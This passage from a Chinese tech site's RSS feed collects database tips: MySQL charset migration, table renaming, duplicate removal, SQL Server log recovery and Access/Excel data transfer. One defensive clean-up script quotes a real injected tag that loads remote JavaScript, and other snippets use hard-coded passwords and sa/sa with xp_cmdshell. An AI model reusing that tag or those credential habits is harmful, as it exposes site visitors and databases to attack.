		<description><![CDATA[1. 导出4.0数据： mysqldump -uroot -p --default-character-set=latin1 --set-charset=gbk --skip-opt databse &gt; supidea.sql<br/>2. 在5.0服务器上创建一个数据库同样是使用gbk编码<br/>3. mysql -uroot -p --default-character-set=gbk -f test&lt;supidea.sql<br/>另外修改MYSQL服务器默认字符集字GBK/etc/my.cnf 填加<br/>[mysqld]<br/>default-character-set=gbk<br/>程序上连接数据库的时候也要统一编码<br/>查询数据库执行SET NAMES gbk 要调置的编码例如gbk<br/>提供以下脚本:<br/>&lt;?php<br/>function db_connect($host=&#34;localhost&#34;,$name=&#34;root&#34;,$pass=&#34;wodealan&#34;,$db=&#34;mydb&#34;)<br/>{<br/>//连接数据库设定数据提交类型及字符集<br/>&nbsp;&nbsp;&nbsp;&nbsp;$conn = mysqli_init();<br/>&nbsp;&nbsp;&nbsp;&nbsp;$conn-&gt;options(MYSQLI_INIT_COMMAND,&#34;SET AUTOCOMMIT=0; SET NAMES GB2312&#34;);<br/>&nbsp;&nbsp; @ $conn-&gt;real_connect($host,$name,$pass,$db);<br/>&nbsp;&nbsp; //检查是否成功连接数据库<br/>&nbsp;&nbsp; if(mysqli_connect_errno())<br/>&nbsp;&nbsp; {<br/>&nbsp;&nbsp;&nbsp;&nbsp; throw new Exception(&#34;连数数据库失败&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>}<br/>?&gt;]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2928.htm</link>
			<title><![CDATA[批量修改ACCESS数据库表名]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 19:52:28 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2928</guid>
		<description><![CDATA[批量修改ACCESS数据库的表名,使用SQL修改access数据库表名<br/>&lt;%<br/>oConnStr=&#34;Provider=Microsoft.Jet.OLEDB.4.0; Data Source=F:\www.supidea.com\data\data.mdb&#34;<br/>Sub RenameTable (oldName, newName)<br/>Dim objADOXDatabase<br/>Set objADOXDatabase = Server.Cr&#101;ateObject(&#34;ADOX.Catalog&#34;)<br/>objADOXDatabase.ActiveConnection = oConnStr<br/>objADOXDatabase.Tables(oldName).Name = newName<br/>Set objADOXDatabase = Nothing<br/>End Sub<br/>&#39;Sub DBConnBegin()<br/>Set oConn=server.Cr&#101;ateObject(&#34;adodb.Connection&#34;)<br/>oConn.Open oConnStr<br/>If Err.Number&gt;0 Then<br/>Response.End<br/>End If<br/>Const adSchemaTables = 20<br/>adSchemaColumns = 4<br/>Set rstSchema = oConn.OpenSchema(adSchemaColumns)<br/>tablename=&#34;&#34;<br/>Do Until rstSchema.EOF<br/>If rstSchema(&#34;Table_name&#34;)&lt;&gt;tablename then<br/>tablename = rstSchema(&#34;Table_name&#34;)<br/>response.write tablename &amp; &#34;&lt;BR&gt;&#34;<br/>If InStr(LCase(tablename),&#34;oldname&#34;)&gt;0 then<br/>tablename1=Replace(LCase(tablename),&#34;oldname&#34;,&#34;Xiya_&#34;)<br/>Call RenameTable(tablename, tablename1)<br/>End If<br/>end if<br/>rstSchema.MoveNext<br/>Loop<br/>%&gt;<br/><br/>如果您需要的是批量修改SQL数据库当中的表名，请参照SQL SERVER 批量修改数据库表名这里。]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2927.htm</link>
			<title><![CDATA[SQL SERVER 批量修改数据库表名]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 19:52:00 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2927</guid>
		<description><![CDATA[SQL SERVER 批量修改数据库表名使用说明：<br/>下列SQL语句中的&#39;Csharp.org.cn&#39;为要替换的表名里面的字符，&#39;Supidea.com&#39;为要替后的表的前缀。如果只是想把表名修改为大写，可以用upper(name)来替换replace(cast(name as varchar(200)),&#39;Csharp.org.cn&#39;,&#39;Supidea.com&#39;)。<br/>PS：更改对象名的任一部分都可能会破坏脚本和存储过程。修改表名后存储过程中调用的数据表名别忘记做对应的修改。<br/><br/>declare @oldName varchar(30),<br/>@newName varchar(30)<br/>declare cursor_taname&nbsp;&nbsp; CURSOR&nbsp;&nbsp; FOR&nbsp;&nbsp;<br/>Sel&#101;ct name,replace(cast(name as varchar(200)),&#39;Csharp.org.cn&#39;,&#39;Supidea.com&#39;) as newname FROM sysobjects wh&#101;re type=&#39;u&#39;<br/>OPEN&nbsp;&nbsp; cursor_taname&nbsp;&nbsp;<br/>FETCH&nbsp;&nbsp; NEXT&nbsp;&nbsp; FROM&nbsp;&nbsp; cursor_taname&nbsp;&nbsp; INTO&nbsp;&nbsp; @oldname,@newName<br/>WHILE&nbsp;&nbsp; @@FETCH_STATUS=0&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;BEGIN <br/>&nbsp;&nbsp;EXEC&nbsp;&nbsp; sp_rename&nbsp;&nbsp;@oldname,@newName<br/>&nbsp;&nbsp;FETCH&nbsp;&nbsp; NEXT&nbsp;&nbsp; FROM&nbsp;&nbsp; cursor_taname&nbsp;&nbsp; INTO&nbsp;&nbsp; @oldname,@newName<br/>END&nbsp;&nbsp;&nbsp;&nbsp; <br/>CLOSE&nbsp;&nbsp; cursor_taname&nbsp;&nbsp;<br/>DEALLOCATE&nbsp;&nbsp; cursor_taname<br/><br/>如果您需要的是批量修改Access数据库当中的表名，请参照批量修改ACCESS数据库表名这里。]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2926.htm</link>
			<title><![CDATA[Sql批量替换所有表中内容]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 19:50:55 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2926</guid>
		<description><![CDATA[网站被被注入的第一时间就是先去掉恶意代码了,用手动来的话效率真的非常低下,现在找到一个非常快速的方法,如下:<br/>declare @t varchar(255),@c varchar(255)<br/>declare table_cursor cursor for sel&#101;ct a.name,b.name<br/>from sysobjects a,syscolumns b ,systypes c<br/>wh&#101;re a.id=b.id and a.xtype=&#39;u&#39; and c.name<br/>in (&#39;char&#39;, &#39;nchar&#39;, &#39;nvarchar&#39;, &#39;varchar&#39;,&#39;text&#39;,&#39;ntext&#39;/* --这里如果你的text(ntext)类型没有超过8000(4000)长度，才可以使用*/)<br/>declare @str varchar(500),@str2 varchar(500)<br/>set @str=&#39;&lt;script src=http://3bom%62.com/c.js&gt;&lt;/script&gt;&#39; /*这里是你要替换的字符*/<br/>set @str2=&#39;&#39; /*替换后的字符*/<br/>open table_cursor<br/>fetch next from table_cursor<br/>into @t,@c while(@@fetch_status=0)<br/>begin exec(&#39;up&#100;ate [&#39; + @t + &#39;] set [&#39; + @c + &#39;]=replace(cast([&#39; + @c + &#39;] as varchar(8000)),&#39;&#39;&#39;+@str+&#39;&#39;&#39;,&#39;&#39;&#39;+ @str2 +&#39;&#39;&#39;)&#39;)<br/><br/>fetch next from table_cursor<br/>into @t,@c end close table_cursor deallocate table_cursor;<br/>在查询分析器里一键执行就一切搞定,不需要在查看哪个表,哪个字断被注入了,全自动的清除表中内容!]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2672.htm</link>
			<title><![CDATA[用SQL语句删除重复记录的四种方法]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Tue,13 Jan 2009 13:06:02 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2672</guid>
		<description><![CDATA[此文章用了四种方法教你如何用SQL语句删除重复记录。<br/><br/>问题：怎样把具有相同字段的纪录删除，只留下一条。<br/><br/>例如：表test里有id,name字段,如果有name相同的记录只留下一条，其余的删除。name的内容不定，相同的记录数不定。<br/><br/>方案1:<br/><br/>1、将重复的记录记入temp1表:<br/><br/>sel&#101;ct [标志字段id],count(*) into temp1 from [表名]<br/>group by [标志字段id]<br/>having count(*)&gt;1<br/><br/>2、将不重复的记录记入temp1表:<br/><br/>ins&#101;rt temp1<br/>sel&#101;ct [标志字段id],count(*) from [表名]<br/>group by [标志字段id]<br/>having count(*)=1<br/><br/>3、作一个包含所有不重复记录的表：<br/><br/>sel&#101;ct * into temp2 from [表名]<br/>wh&#101;re 标志字段id in(sel&#101;ct 标志字段id from temp1)<br/><br/>4、删除重复表:del&#101;te [表名]<br/><br/>5、恢复表：<br/><br/>ins&#101;rt [表名]<br/>sel&#101;ct * from temp2<br/><br/>6、删除临时表:<br/><br/>dro&#112; table temp1<br/>dro&#112; table temp2<br/><br/>方案2:<br/><br/>declare @max integer,@id integer<br/>declare cur_rows cursor local for <br/>sel&#101;ct id,count(*) from 表名 group by id having count(*) &gt; 1<br/>open cur_rows<br/>fetch cur_rows into @id,@max<br/>while @@fetch_status=0<br/>begin<br/>sel&#101;ct @max = @max -1<br/>set rowcount @max<br/>del&#101;te from 表名 wh&#101;re id = @id<br/>fetch cur_rows into @id,@max<br/>end<br/>close cur_rows<br/>set rowcount 0<br/><br/>注:set rowcount @max - 1 表示当前缓冲区只容纳@max-1条记录﹐如果有十条重复的﹐就刪除<br/><br/>10条，一定会留一条的。也可以写成del&#101;te from 表名。<br/><br/>方案3：<br/><br/>cr&#101;ate table a_dist(id int,name varchar(20))<br/>ins&#101;rt into a_dist values(1,&#39;abc&#39;)<br/>ins&#101;rt into a_dist values(1,&#39;abc&#39;)<br/>ins&#101;rt into a_dist values(1,&#39;abc&#39;)<br/>ins&#101;rt into a_dist values(1,&#39;abc&#39;)<br/>exec up_distinct &#39;a_dist&#39;,&#39;id&#39;<br/>sel&#101;ct * from a_dist<br/>cr&#101;ate procedure up_distinct(@t_name varchar(30)<br/>,@f_key varchar(30))<br/>--f_key表示是分组字段﹐即主键字段<br/>as<br/>begin<br/>declare @max integer,@id varchar(30) ,<br/>@sql varchar(7999) ,@type integer<br/>sel&#101;ct @sql = &#39;declare cur_rows cursor <br/>for sel&#101;ct &#39;+@f_key+&#39; ,count(*) from &#39; <br/>+@t_name +&#39; group by &#39; +@f_key +&#39; having count(*) &gt; 1&#39;<br/>exec(@sql)<br/>open cur_rows <br/>fetch cur_rows into @id,@max <br/>while @@fetch_status=0 <br/>begin <br/>sel&#101;ct @max = @max -1 <br/>set rowcount @max <br/>sel&#101;ct @type = xtype from syscolumns <br/>wh&#101;re id=object_id(@t_name) and name=@f_key<br/>if @type=56<br/>sel&#101;ct @sql = &#39;del&#101;te from &#39;+@t_name+&#39; <br/>wh&#101;re &#39; + @f_key+&#39; = &#39;+ @id <br/>if @type=167<br/>sel&#101;ct @sql = &#39;del&#101;te from &#39;+@t_name+&#39; <br/>wh&#101;re &#39; + @f_key+&#39; = &#39;+&#39;&#39;&#39;&#39;+ @id +&#39;&#39;&#39;&#39; <br/>exec(@sql)<br/>fetch cur_rows into @id,@max <br/>end <br/>close cur_rows <br/>deallocate cur_rows<br/>set rowcount 0<br/>end<br/>sel&#101;ct * from systypes<br/>sel&#101;ct * from syscolumns wh&#101;re <br/>id = object_id(&#39;a_dist&#39;)<br/><br/>方案4：<br/><br/>可以用IGNORE_DUP_KEY：<br/><br/>cr&#101;ate table dup (id int identity not null,<br/>name varchar(50)not null)<br/>go<br/>ins&#101;rt into dup(name) values (&#39;abc&#39;)<br/>ins&#101;rt into dup(name) values (&#39;abc&#39;)<br/>ins&#101;rt into dup(name) values (&#39;abc&#39;)<br/>ins&#101;rt into dup(name) values (&#39;abc&#39;)<br/>ins&#101;rt into dup(name) values (&#39;abc&#39;)<br/>ins&#101;rt into dup(name) values (&#39;abc&#39;)<br/>ins&#101;rt into dup(name) values (&#39;abc&#39;)<br/>ins&#101;rt into dup(name) values (&#39;cdefg&#39;)<br/>ins&#101;rt into dup(name) values (&#39;xyz&#39;)<br/>ins&#101;rt into dup(name) values (&#39;xyz&#39;)<br/>go<br/>sel&#101;ct *<br/>from dup<br/>go<br/>cr&#101;ate table tempdb..wk(id int not null, <br/>name varchar(50)not null)<br/>go<br/>cr&#101;ate unique index idx_remove_dup <br/>on tempdb..wk(name)<br/>with IGNORE_DUP_KEY <br/>go<br/>Ins&#101;rt INTO tempdb..wk (id, name)<br/>sel&#101;ct id, name<br/>from dup<br/>go<br/>sel&#101;ct *<br/>from tempdb..wk<br/>go<br/>del&#101;te from dup<br/>go<br/>set identity_ins&#101;rt dup on<br/>Ins&#101;rt INTO dup (id, name)<br/>sel&#101;ct id, name<br/>from tempdb..wk<br/>go<br/>set identity_ins&#101;rt dup off<br/>go<br/>sel&#101;ct *<br/>from dup<br/>go<br/><br/>注：这里del&#101;te原表，再加入不重复的值。也可以通过join只del&#101;te原表中重复的值。<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2603.htm</link>
			<title><![CDATA[只有mdf文件而没有ldf文件修复方法]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Sun,04 Jan 2009 15:50:06 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2603</guid>
		<description><![CDATA[只有mdf文件而没有ldf文件修复log文件或者重新生成一个log文件的方法 <br/><br/>只有mdf文件的恢复技术 <br/>由于种种原因，我们如果当时仅仅备份了mdf文件，那么恢复起来就是一件很麻烦的事情了。 <br/>如果您的mdf文件是当前数据库产生的，那么很侥幸，也许你使用sp_attach_db或者sp_attach_single_file_db可以恢复数据库，但是会出现类似下面的提示信息 <br/>设备激活错误。物理文件名 ’C:\Program Files\Microsoft SQL Server\MSSQL\data\test_Log.LDF’ 可能有误。 <br/>已创建名为 ’C:\Program Files\Microsoft SQL Server\MSSQL\Data\test_log.LDF’ 的新日志文件。 <br/>但是，如果您的数据库文件是从其他计算机上复制过来的，那么很不幸，也许上述办法就行不通了。你也许会得到类似下面的错误信息 <br/>服务器: 消息 1813，级别 16，状态 2，行 1 <br/>未能打开新数据库 ’test’。Cr&#101;ate DATABASE 将终止。 <br/>设备激活错误。物理文件名 ’d:\test_log.LDF’ 可能有误。 <br/>怎么办呢？别着急，下面我们举例说明恢复办法。 <br/>A．我们使用默认方式建立一个供恢复使用的数据库(如test)。可以在SQL Server Enterprise Manager里面建立。 <br/>B．停掉数据库服务器。 <br/>C．将刚才生成的数据库的日志文件test_log.ldf删除，用要恢复的数据库mdf文件覆盖刚才生成的数据库数据文件test_data.mdf。 <br/>D．启动数据库服务器。此时会看到数据库test的状态为“置疑”。这时候不能对此数据库进行任何操作。 <br/>E．设置数据库允许直接操作系统表。此操作可以在SQL Server Enterprise Manager里面选择数据库服务器，按右键，选择“属性”，在“服务器设置”页面中将“允许对系统目录直接修改”一项选中。也可以使用如下语句来实现。 <br/>use master <br/>go <br/>sp_configure ’allow up&#100;ates’,1 <br/>go&nbsp;&nbsp;<br/>reconfigure with override <br/>go <br/>F．设置test为紧急修复模式 <br/>up&#100;ate sysdatabases set status=-32768 wh&#101;re dbid=DB_ID(’test’) <br/>此时可以在SQL Server Enterprise Manager里面看到该数据库处于“只读\置疑\脱机\紧急模式”可以看到数据库里面的表，但是仅仅有系统表 <br/>G．下面执行真正的恢复操作，重建数据库日志文件 <br/>dbcc rebuild_log(’test’,’C:\Program Files\Microsoft SQL Server\MSSQL\Data\test_log.ldf’) <br/>执行过程中，如果遇到下列提示信息： <br/>服务器: 消息 5030，级别 16，状态 1，行 1 <br/>未能排它地锁定数据库以执行该操作。 <br/>DBCC 执行完毕。如果 DBCC 输出了错误信息，请与系统管理员联系。 <br/>说明您的其他程序正在使用该数据库，如果刚才您在F步骤中使用SQL Server Enterprise Manager打开了test库的系统表，那么退出SQL Server Enterprise Manager就可以了。 <br/>正确执行完成的提示应该类似于： <br/>警告: 数据库 ’test’ 的日志已重建。已失去事务的一致性。应运行 DBCC CHECKDB 以验证物理一致性。将必须重置数据库选项，并且可能需要删除多余的日志文件。 <br/>DBCC 执行完毕。如果 DBCC 输出了错误信息，请与系统管理员联系。 <br/>此时打开在SQL Server Enterprise Manager里面会看到数据库的状态为“只供DBO使用”。此时可以访问数据库里面的用户表了。 <br/>H．验证数据库一致性（可省略） <br/>dbcc checkdb(’test’) <br/>一般执行结果如下： <br/>CHECKDB 发现了 0 个分配错误和 0 个一致性错误（在数据库 ’test’ 中）。 <br/>DBCC 执行完毕。如果 DBCC 输出了错误信息，请与系统管理员联系。 <br/>I．设置数据库为正常状态 <br/>sp_dboption ’test’,’dbo use only’,’false’ <br/>如果没有出错，那么恭喜，现在就可以正常的使用恢复后的数据库啦。 <br/>J．最后一步，我们要将步骤E中设置的“允许对系统目录直接修改”一项恢复。因为平时直接操作系统表是一件比较危险的事情。当然，我们可以在SQL Server Enterprise Manager里面恢复，也可以使用如下语句完成 <br/>sp_configure ’allow up&#100;ates’,0 <br/>go&nbsp;&nbsp;<br/>reconfigure with override <br/>go <br/><br/><br/>其他方法: <br/><br/>方法一 <br/><br/>备份数据文件,然后按下面的步骤处理: <br/><br/>1.新建一个同名的数据库(数据文件与原来的要一致) <br/><br/>2.再停掉sql server(注意不要分离数据库) <br/><br/>3.用原数据库的数据文件覆盖掉这个新建的数据库 <br/><br/>4.再重启sql server <br/><br/>5.此时打开企业管理器时会出现置疑，先不管，执行下面的语句（注意修改其中的数据库名) <br/><br/>USE MASTER <br/>GO <br/><br/>SP_CONFIGURE ’ALLOW Up&#100;ateS’,1 RECONFIGURE WITH OVERRIDE <br/>GO <br/><br/>Up&#100;ate SYSDATABASES SET STATUS =32768 Wh&#101;re NAME=’置疑的数据库名’ <br/>Go <br/><br/>sp_dboption ’置疑的数据库名’, ’single user’, ’true’ <br/>Go <br/><br/>DBCC CHECKDB(’置疑的数据库名’)&nbsp;&nbsp;<br/>Go <br/><br/>up&#100;ate sysdatabases set status =28 wh&#101;re name=’置疑的数据库名’ <br/>Go <br/><br/>sp_configure ’allow up&#100;ates’, 0 reconfigure with override <br/>Go&nbsp;&nbsp;<br/><br/>sp_dboption ’置疑的数据库名’, ’single user’, ’false’ <br/>Go <br/><br/><br/>6.完成后一般就可以访问数据库中的数据了,这时,数据库本身一般还要问题,解决办法是,利用 <br/>数据库的脚本创建一个新的数据库,并将数据导进去就行了. <br/><br/><br/>方法二 <br/><br/>1、建一个同名的数据库 <br/>2、修改服务器设置：允许多系统目录进行直接修改 <br/>3、停止SQL Server <br/>4、用原mdf文件覆盖新建库的数据库文件 <br/>5、重启SQL Server（这时数据库应该是置疑） <br/>6、将数据库置为紧急状态：up&#100;ate master.dbo.sysdatabases set status = 32768 wh&#101;re name = dbname <br/>7、重建日志：dbcc rebulid_log(’dbname’, ’logfile’)　(可能不需要这一步。) <br/>8、数据库重新启动，然后再还原数据库状态用以下语句 <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;up&#100;ate master.dbo.sysdatabases set status = 16 wh&#101;re name = dbname]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2575.htm</link>
			<title><![CDATA[ACCESS转化成SQL2000需要注意的几个问题]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Fri,12 Dec 2008 11:45:04 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2575</guid>
		<description><![CDATA[很多朋友想用SQL2000数据库的编程方法，但是却又苦于自己是学ACCESS的，对SQL只是一点点的了解而已，这里我给大家提供以下参考---将ACCESS转化成SQL2000的方法和注意事项<br/>&nbsp;&nbsp;一，首先，我说的是在ACCESS2000，SQL2000之间转换，其他的我也还没有尝试过，希望大家多多试验，肯定是有办法的；<br/> 二，转换的方法<br/>&nbsp;&nbsp;1，打开”控制面板“下”管理工具“中的”数据库源“；<br/>&nbsp;&nbsp;2，按”添加“添加一个新的数据源，在选择栏里选”Driver do microsoft Access<br/>&nbsp;&nbsp;(*.mdb)”,完成后将出现一个框,<br/> <br/>&nbsp;&nbsp;在”数据库源“里面输入你想写的名称，我取名叫“ABC”,说明不需要填，接着，按下面的选择，寻找你的数据库地址和选中（注意，请先备份自己的ACCESS数据库），然后确定。<br/>&nbsp;&nbsp;数据源在这里建好了，剩下转换了。<br/> <br/>&nbsp;&nbsp;3，打开SQL2000企业管理器，进入数据库，新建一个空的数据库“ABC”；<br/>&nbsp;&nbsp;4，选择新建立的数据库，按鼠标右键，选择“所有任务”下“导入数据”，按“下一步”继续；<br/>&nbsp;&nbsp;5，在数据库源下拉但中选择”Driver do microsoft Access(*.mdb)“，在”用户/系统DSN“中，选种你刚才添加的”ABC“，按 ”下一步“；<br/>&nbsp;&nbsp;6，“目的”不需要修改，选择服务器（一般下为自己的本机&#34;local&#34;,也可以选择服务器地址或者局域网地址,确定你的权限是否可以操作,),&#34;使用WINDOWS 身份验证&#34;指用自己的系统管理员身份操作,&#34;使用SQL身份操作验证&#34;可以用于网站的操作,推荐用后者;<br/>&nbsp;&nbsp;7,选上&#34;使用SQL身份操作验证&#34;后,填写你的用户名和密码,我自己选择的是系统默认号码&#34;sa&#34;,&#34;****&#34;,数据库选择刚新建的&#34;ABC&#34;,按&#34;下一步&#34;;<br/>&nbsp;&nbsp;8,这一步的两个单项选择,&#34;从数据源复制表和视图&#34;与&#34;用一条查询指令指定要传输的数据&#34;,选择前者,按&#34;下一步&#34;继续;<br/>&nbsp;&nbsp;9,这里将出现你自己ACCESS数据库的表,按&#34;全选&#34;后,下一步;<br/>&nbsp;&nbsp;10,&#34;DTS导入/导出向导&#34;,看&#34;立即运行&#34;被选中按&#34;下一步&#34;,<br/>&nbsp;&nbsp;11,按&#34;完成&#34;继续;<br/>&nbsp;&nbsp;12,这个步骤你将看到你的数据被导入SQL2000里面,当出现&#34;已经成功把XXX个表导入到数据库&#34;的字样,而且所有的表前面都有绿色的勾,就表示成功导入所有数据,如果中途出现问题或者表前面有红色的叉的话,说明该表没有成功导入,这时就要回去查看自己的操作是否正确了.<br/> <br/> 三,数据修改<br/>&nbsp;&nbsp;1,由于SQL2000里面没有&#34;自动编号&#34;,所以你的以&#34;自动编号&#34;设置的字段都会变成非空的字段,这就必须手工修改这些字段,并把他的&#34;标示&#34;选择&#34;是&#34;,种子为&#34;1&#34;,增量为&#34;1&#34;,<br/>&nbsp;&nbsp;2,另外,ACCESS2000转换成SQL2000后,原来属性为&#34;是/否&#34;的字段将被转换成非空的&#34;bit&#34;,这时候你必须修改成自己想要的属性了;<br/>&nbsp;&nbsp;3,另外,大家要注意对时间函数的把握.ACCESS与SQL是有很多不同的.&nbsp;&nbsp;<br/><br/>4、日期函数的修改。 <br/><br/><br/>date()改为getdate()<br/><br/><br/><br/>5 、还是日期的问题 <br/><br/><br/>datediff(&#34;h&#34;,RegDate,now())改为datediff(hh,RegDate,getdate())<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2574.htm</link>
			<title><![CDATA[SQL Server和Access、Excel数据传输]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Fri,12 Dec 2008 11:42:41 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2574</guid>
		<description><![CDATA[所谓的数据传输，其实是指SQLServer访问Access、Excel间的数据。<br/><br/>　　为什么要考虑到这个问题呢?<br/><br/>　　由于历史的原因，客户以前的数据很多都是在存入在文本数据库中，如Acess、Excel、FoXPro。现在系统升级及数据库服务器如SQLServer、Oracle后，经常需要访问文本数据库中的数据，所以就会产生这样的需求。前段时间出差的项目，就是面临这样的一个问题：SQLServer和VFP之间的数据交换。<br/><br/>　　要完成标题的需要，在SQLServer中是一件非常简单的事情。 通常的可以有3种方式：1、DTS工具 2、BCP 3、分布式查询 DTS就不需要说了，因为那是图形化操作界面，很容易上手。<br/><br/>　　这里主要讲下后面两们，分别以查、增、删、改作为简单的例子：<br/><br/>　　下面废话就不说了，直接以T-SQL的形式表现出来。<br/><br/>　　一、SQLServer和Access<br/><br/>　　1、查询Access中数据的方法：<br/><br/>　　sel&#101;ct * from OpenRowSet(&#39;microsoft.jet.oledb.4.0&#39;,&#39;;database=c:\db2.mdb&#39;,&#39;sel&#101;ct * from serv_user&#39;)<br/><br/>　　或<br/><br/>　　sel&#101;ct * from OpenDataSource(&#39;Microsoft.Jet.OLEDB.4.0&#39;,&#39;Data Source=&#34;c:\DB2.mdb&#34;;User ID=Admin;PassWord=&#39;)...serv_user<br/><br/>　　2、从SQLServer向Access写数据：<br/><br/>　　ins&#101;rt into OpenRowSet(&#39;microsoft.jet.oledb.4.0&#39;,&#39;;database=c:\db2.mdb&#39;,&#39;sel&#101;ct * from Accee表&#39;)<br/><br/>　　sel&#101;ct * from SQLServer表<br/><br/>　　或用BCP<br/><br/>　　master..xp_cmdshell&#39;bcp &#34;serv-htjs.dbo.serv_user&#34; out &#34;c:\db3.mdb&#34; -c -q -S&#34;.&#34; -U&#34;sa&#34; -P&#34;sa&#34;&#39;<br/><br/>　　上面的区别主要是：OpenRowSet需要mdb和表存在，BCP会在不存在的时候生成该mdb<br/><br/>　　3、从Access向SQLServer写数据：有了上面的基础，这个就很简单了<br/><br/>　　ins&#101;rt into SQLServer表 sel&#101;ct * from<br/><br/>　　OpenRowSet(&#39;microsoft.jet.oledb.4.0&#39;,&#39;;database=c:\db2.mdb&#39;,&#39;sel&#101;ct * from Accee表&#39;)<br/><br/>　　或用BCP<br/><br/>　　master..xp_cmdshell&#39;bcp &#34;serv-htjs.dbo.serv_user&#34; in &#34;c:\db3.mdb&#34; -c -q -S&#34;.&#34; -U&#34;sa&#34; -P&#34;sa&#34;&#39;<br/><br/>　　4、删除Access数据：<br/><br/>　　del&#101;te from OpenRowSet(&#39;microsoft.jet.oledb.4.0&#39;,&#39;;database=c:\db2.mdb&#39;,&#39;sel&#101;ct * from serv_user&#39;)<br/><br/>　　wh&#101;re lock=0<br/><br/>　　5、修改Access数据：<br/><br/>　　up&#100;ate OpenRowSet(&#39;microsoft.jet.oledb.4.0&#39;,&#39;;database=c:\db2.mdb&#39;,&#39;sel&#101;ct * from serv_user&#39;)<br/><br/>　　set lock=1<br/><br/>　　SQLServer和Access大致就这么多。<br/><br/>　　二、SQLServer和Excel<br/><br/>　　1、向Excel查询<br/><br/>　　sel&#101;ct * from OpenRowSet(&#39;microsoft.jet.oledb.4.0&#39;,&#39;Excel 8.0;HDR=yes;database=c:\book1.xls;&#39;,&#39;sel&#101;ct * from [Sheet1$]&#39;) wh&#101;re c like &#39;%f%&#39;<br/><br/>　　sel&#101;ct * from<br/><br/>　　OPENROWSET(&#39;MICROSOFT.JET.OLEDB.4.0&#39;<br/><br/>　　,&#39;Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\book1.xls&#39;,[sheet1$])<br/><br/>　　1)hdr=yes时可以把xls的第1行作为字段看待，如第1个中hdr=no的话，wh&#101;re时就会报错<br/><br/>　　2)[]和美圆$必须要，否则M$可不认这个账<br/><br/>　　2、修改Execl<br/><br/>　　up&#100;ate OpenRowSet(&#39;microsoft.jet.oledb.4.0&#39;,&#39;Excel 8.0;hdr=yes;database=c:\book1.xls;&#39;,&#39;sel&#101;ct * from [Sheet1$]&#39;)<br/><br/>　　set a=&#39;erquan&#39; wh&#101;re c like &#39;%f%&#39;<br/><br/>　　3、导入导出<br/><br/>　　ins&#101;rt into OpenRowSet(&#39;microsoft.jet.oledb.4.0&#39;,&#39;Excel 8.0;hdr=yes;database=c:\book1.xls;&#39;,&#39;sel&#101;ct * from [Sheet2$]&#39;)(id,name)<br/><br/>　　sel&#101;ct id,name from serv_user<br/><br/>　　或BCP<br/><br/>　　master..xp_cmdshell&#39;bcp &#34;serv-htjs.dbo.serv_user&#34; out &#34;c:\book2.xls&#34; -c -q -S&#34;.&#34; -U&#34;sa&#34; -P&#34;sa&#34;&#39;<br/><br/>　　从Excel向SQLServer导入：<br/><br/>　　sel&#101;ct * into serv_user_bak<br/><br/>　　from OpenRowSet(&#39;microsoft.jet.oledb.4.0&#39;,&#39;Excel 8.0;HDR=yes;database=c:\book1.xls;&#39;,&#39;sel&#101;ct * from [Sheet1$]&#39;)<br/><br/>　　如果表serv_user_bak不存在，则创建有关BCP和分布式查询的详细解答，就查SQLServer自带的帮助吧。 SQLServer和txt文件、Html文件、VFP文件的数据交换都显得非常容易了。。。。 其实这些内容在帮助里都有，偶只不过是总结了一下<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2573.htm</link>
			<title><![CDATA[Access升迁SQL Server]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Fri,12 Dec 2008 11:41:48 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2573</guid>
